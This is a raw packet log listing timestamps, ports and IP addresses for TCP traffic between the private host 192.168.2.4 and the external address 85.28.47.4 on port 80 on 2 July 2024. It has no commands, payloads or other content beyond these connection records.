Jul 2, 2024 15:26:09.494348049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494348049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494366884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494376898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494388103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494391918 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494427919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494441986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494452953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494469881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494482040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494493008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494507074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494513035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494524002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494537115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494545937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494553089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494570971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494570971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494581938 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494597912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494622946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494806051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494837999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494848967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494867086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494899035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494904995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494915962 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494932890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494946957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.494956970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.494975090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495022058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495032072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495037079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495054960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495064020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495068073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495079041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495086908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495099068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495111942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495131016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495152950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495167017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495182991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495192051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495193958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495209932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495217085 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495225906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495238066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495240927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495255947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495265007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495270967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495289087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495297909 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495321989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495341063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495420933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495431900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495450974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495467901 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495474100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495487928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495493889 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495505095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495520115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495521069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495532990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495537043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495548964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495554924 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495570898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495589972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495590925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495603085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495605946 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495620966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495630980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495634079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495650053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495657921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495666981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495678902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495682955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495697021 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495717049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495727062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495737076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495749950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495757103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495760918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495779991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495788097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495799065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495799065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495816946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495821953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495830059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495862007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495863914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495862007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495877981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495906115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.495978117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.495990038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496005058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496016979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496032000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496032000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.496048927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496053934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.496061087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496066093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496073008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.496088982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496098995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496108055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496126890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.496154070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.496171951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496182919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496198893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496208906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496227980 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.496243954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.496252060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.496284962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.650989056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.657105923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829442024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829524040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829587936 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829612970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829632998 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829637051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829653025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829653978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829672098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829679966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829684019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829699993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829705000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829713106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829715967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829722881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829730034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829750061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829763889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829768896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829782963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829793930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829803944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829813004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829813957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829826117 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829832077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829847097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829869986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829879999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829890966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829914093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829926014 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829926968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829941034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829951048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829968929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829977036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.829986095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.829991102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830008984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830008984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.830023050 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.830034971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830046892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830048084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.830065012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830069065 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.830080986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.830091953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830100060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.830108881 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830127954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.830146074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914472103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914511919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914526939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914539099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914545059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914566994 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914572954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914580107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914587021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914602041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914611101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914633036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914644003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914659023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914663076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914674997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914674997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914701939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914704084 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914716005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914726973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914730072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914756060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914756060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914767981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914776087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914788961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914800882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914800882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914819002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914822102 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914835930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914846897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914870977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914882898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914895058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914895058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914913893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914925098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914925098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914938927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914947987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914958000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914959908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.914975882 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.914993048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915014029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915014029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915028095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915045977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915055037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915056944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915071964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915076017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915091038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915092945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915103912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915107012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915117979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915126085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915137053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915147066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915157080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915174007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915175915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915195942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915215015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915391922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915404081 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915421009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915431023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915436983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915453911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915461063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915467978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915481091 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915483952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915494919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915502071 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915517092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915525913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915529966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915555000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915559053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915569067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915579081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915585995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915601015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915608883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915616989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915631056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915632963 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915647984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.915658951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915678024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.915685892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.994915009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995007038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995022058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995032072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995049000 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995069981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995105028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995136976 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995151997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995176077 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995275974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995290041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995302916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995315075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995320082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995326996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995342970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995347023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995361090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995367050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995384932 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995403051 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995513916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995524883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995531082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995567083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995570898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995583057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995600939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995608091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995637894 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995666981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995677948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995693922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995704889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995713949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995722055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995733023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995738029 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995754957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995769978 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995790958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995795012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995801926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995820045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:09.995829105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995847940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995861053 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:09.995968103 CEST	80	49730	85.28.47.4	192.168.2.4
